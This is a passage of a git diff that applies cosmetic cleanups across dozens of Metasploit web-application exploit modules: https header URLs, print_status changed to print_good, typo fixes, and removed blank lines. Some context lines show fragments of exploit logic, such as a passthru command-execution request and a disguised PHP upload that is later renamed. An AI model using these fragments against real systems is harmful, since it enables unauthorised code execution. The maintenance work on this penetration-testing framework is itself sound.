 end
diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb
index 8a0eb9a17c..cd48b2211a 100644
--- a/modules/exploits/unix/webapp/coppermine_piceditor.rb
+++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -105,12 +103,11 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.code == 200)
-      print_status("Successfully POST'd exploit data")
+      print_good("Successfully POST'd exploit data")
     else
       fail_with(Failure::Unknown, "Error POSTing exploit data")
     end
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb
index c8732ffe7b..95697b90f0 100644
--- a/modules/exploits/unix/webapp/datalife_preview_exec.rb
+++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb
index 0ddd21497b..351606a391 100644
--- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb
+++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/drupal_coder_exec.rb b/modules/exploits/unix/webapp/drupal_coder_exec.rb
index 8542736d30..2ca2a56660 100644
--- a/modules/exploits/unix/webapp/drupal_coder_exec.rb
+++ b/modules/exploits/unix/webapp/drupal_coder_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/drupal_restws_exec.rb b/modules/exploits/unix/webapp/drupal_restws_exec.rb
index 60a04da31a..02a93d2fc8 100644
--- a/modules/exploits/unix/webapp/drupal_restws_exec.rb
+++ b/modules/exploits/unix/webapp/drupal_restws_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb
index 2a418abb0b..f795f5a254 100644
--- a/modules/exploits/unix/webapp/egallery_upload_exec.rb
+++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("Server returned #{res.code.to_s}")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb
index 18a66f4d1f..8cf898718c 100644
--- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb
+++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb
index 1b3c95b9bc..7cec291801 100644
--- a/modules/exploits/unix/webapp/foswiki_maketext.rb
+++ b/modules/exploits/unix/webapp/foswiki_maketext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -222,7 +222,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_good("Exploitation was successful")
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/unix/webapp/freepbx_config_exec.rb b/modules/exploits/unix/webapp/freepbx_config_exec.rb
index bb462efe5e..859399df8c 100644
--- a/modules/exploits/unix/webapp/freepbx_config_exec.rb
+++ b/modules/exploits/unix/webapp/freepbx_config_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb
index 4957968d4d..c1bace2c5a 100644
--- a/modules/exploits/unix/webapp/generic_exec.rb
+++ b/modules/exploits/unix/webapp/generic_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb
index a3ccf707bb..622b549f69 100644
--- a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb
+++ b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote
     res = send_request_auth
 
     if res && res.code == 302
-      print_status("The authentication process is done successfully!")
+      print_good("The authentication process is done successfully!")
     else
       fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
     end
@@ -134,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
       'method' => 'GET'
     }, 5)
   end
-
 end
diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
index 1b583b0802..ef0b95d13d 100644
--- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
+++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
   include Msf::Exploit::Remote::HttpClient
@@ -141,5 +139,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Shutting down the web service...")
     stop_service
   end
-
 end
diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb
index 515ba4202a..594c13cb16 100644
--- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb
+++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
index 62625aa96c..8badd69c4e 100644
--- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
+++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb
index 8809624c73..39860b5213 100644
--- a/modules/exploits/unix/webapp/hastymail_exec.rb
+++ b/modules/exploits/unix/webapp/hastymail_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res and res.code == 303
       @session_id = res.get_cookies
-      print_good "Authentication successful"
+      print_good("Authentication Successful")
     end
   end
 
@@ -119,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return
     end
 
-    print_status "Authentication successfully, trying to exploit"
+    print_good "Authentication successfully, trying to exploit"
 
     data = "rs=passthru&"
     data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb
index d9ebad2cf3..ed306fb329 100644
--- a/modules/exploits/unix/webapp/havalite_upload_exec.rb
+++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
         possibly prior.  Attackers can abuse the upload feature in order to upload a
-        malicious PHP file without authentication, which results in arbitary remote code
+        malicious PHP file without authentication, which results in arbitrary remote code
         execution.
       },
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb
index c21f82bd56..93453d7c5a 100644
--- a/modules/exploits/unix/webapp/horde_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb
index 27bc087864..ce09a7f024 100644
--- a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb
+++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb
index 4061fb841f..d224b7b880 100644
--- a/modules/exploits/unix/webapp/instantcms_exec.rb
+++ b/modules/exploits/unix/webapp/instantcms_exec.rb
@@ -1,6 +1,9 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
index f2e175eb28..84acf3610f 100644
--- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
index 5281d925b3..8cc1c7ac92 100644
--- a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
+++ b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def autofilter
     true
   end
-
 end
diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
index c97fd5475e..22b25196f1 100644
--- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
+++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Joomla Component JCE File Upload Remote Code Execution',
       'Description'    => %q{
-          This module exploits a vulnerability  in the JCE component for Joomla!, which
+          This module exploits a vulnerability in the JCE component for Joomla!, which
       could allow an unauthenticated remote attacker to upload arbitrary files, caused by the
       fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP
       request, a remote attacker could exploit this vulnerability to upload a malicious PHP
@@ -188,5 +188,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb
index e1e4f71ffa..8d954ee1e1 100644
--- a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb
+++ b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote
       })
 
     if res && res.code == 200 && res.body =~ /Administration - Control Panel/
-      print_status("#{peer} - Successfully authenticated as Administrator")
+      print_good("#{peer} - Successfully authenticated as Administrator")
     else
       fail_with(Failure::Unknown, "#{peer} - Session failure")
     end
@@ -261,5 +261,4 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
index 4294856111..a41e0c2919 100644
--- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
+++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -226,5 +226,4 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb
index 8f04854df8..2acb055548 100644
--- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb
+++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       if(res.body =~ /"obfus", "((\w)+)"\)/)
         obfuscation_code = $1
-        print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
+        print_good("Successfully retrieved obfuscation code: #{obfuscation_code}")
       else
         print_error("Error retrieving obfuscation code!")
         return
@@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res and res.body =~ /File Upload Success/)
-      print_status("Successfully uploaded #{cmdscript}.ph.p")
+      print_good("Successfully Uploaded #{cmdscript}.ph.p")
     else
       print_error("Error uploading #{cmdscript}.ph.p")
     end
@@ -156,7 +156,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 10)
 
     if (res and res.body =~ /successfully renamed./)
-      print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
+      print_status("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
     else
       print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
     end
@@ -172,5 +172,4 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb
index 62fa318ca6..77ffe84d37 100644
--- a/modules/exploits/unix/webapp/kimai_sqli.rb
+++ b/modules/exploits/unix/webapp/kimai_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb
index 90c4487128..7133dc93f3 100644
--- a/modules/exploits/unix/webapp/libretto_upload_exec.rb
+++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
         possibly prior.  Attackers can bypass the file extension check and abuse the upload
         feature in order to upload a malicious PHP file without authentication, which
-        results in arbitary remote code execution.
+        results in arbitrary remote code execution.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb
index 9662e99617..8c1fc5d77b 100644
--- a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb
+++ b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/mambo_cache_lite.rb b/modules/exploits/unix/webapp/mambo_cache_lite.rb
index c0cec65eb5..b706a76507 100644
--- a/modules/exploits/unix/webapp/mambo_cache_lite.rb
+++ b/modules/exploits/unix/webapp/mambo_cache_lite.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb
index cc57fc9f8c..c52bb9add7 100644
--- a/modules/exploits/unix/webapp/mitel_awc_exec.rb
+++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb
index 3ed6d4bbae..266d79469a 100644
--- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb
+++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -267,7 +267,6 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 5)
 
   end
-
 end
 
 
diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb
index d4d84a3fcf..c209de85f8 100644
--- a/modules/exploits/unix/webapp/mybb_backdoor.rb
+++ b/modules/exploits/unix/webapp/mybb_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb
index 6331d39b57..94178fa585 100644
--- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb
+++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -244,5 +244,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("Unknown response #{res.code}")
   end
-
 end
diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb
index b52a038e46..1b2129c618 100644
--- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb
+++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -101,5 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("Unknown response")
   end
-
 end
diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb
index 66fc769888..94ba34d99a 100644
--- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb
+++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb
index ec44deeb0e..992c502525 100644
--- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb
+++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
index 44e56b5c8d..995cc55127 100644
--- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
+++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
index 50d1f81dd4..4ae7260c8d 100644
--- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
+++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res && res.code == 200 and res.get_cookies =~ /OpenEMR=([a-zA-Z0-9]+)/
       session = $1
-      print_status("#{rhost}:#{rport} - Login successful")
+      print_good("#{rhost}:#{rport} - Login Successful")
       print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")
       return session
     else
@@ -175,5 +175,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb
index e774020144..c97849eee9 100644
--- a/modules/exploits/unix/webapp/openemr_upload_exec.rb
+++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -124,5 +124,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error("Server returned #{res.code.to_s}")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb
index 4df778990f..7f59dbad8e 100644
--- a/modules/exploits/unix/webapp/opensis_modname_exec.rb
+++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb
index 2eb61dbe3f..2da4a4cef5 100644
--- a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb
+++ b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb
index 76ded9b546..cd5be7961d 100644
--- a/modules/exploits/unix/webapp/openx_banner_edit.rb
+++ b/modules/exploits/unix/webapp/openx_banner_edit.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if (not cookie)
       fail_with(Failure::Unknown, 'Unable to login!')
     end
-    print_status("Logged in successfully (cookie: #{cookie})")
+    print_good("Logged in successfully (cookie: #{cookie})")
 
     # Now, check for an advertiser / campaign
     ids = openx_find_campaign(uri_base, cookie)
@@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if (not ban_id)
       fail_with(Failure::Unknown, 'Unable to upload the banner!')
     end
-    print_status("Successfully uploaded the banner image with id #{ban_id}")
+    print_good("Successfully uploaded the banner image with id #{ban_id}")
 
     # Find the filename
     ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
@@ -343,5 +343,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     true
   end
-
 end
diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
index 45826cb1a1..e3350a7ed6 100644
--- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
+++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -151,5 +151,4 @@ EOS
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb
index a9731945a4..6e1d7fda1f 100644
--- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb
+++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb
index 92d8de50b7..fa8243407c 100644
--- a/modules/exploits/unix/webapp/pajax_remote_exec.rb
+++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb
index 0abf356abc..7488db411c 100644
--- a/modules/exploits/unix/webapp/php_charts_exec.rb
+++ b/modules/exploits/unix/webapp/php_charts_exec.rb
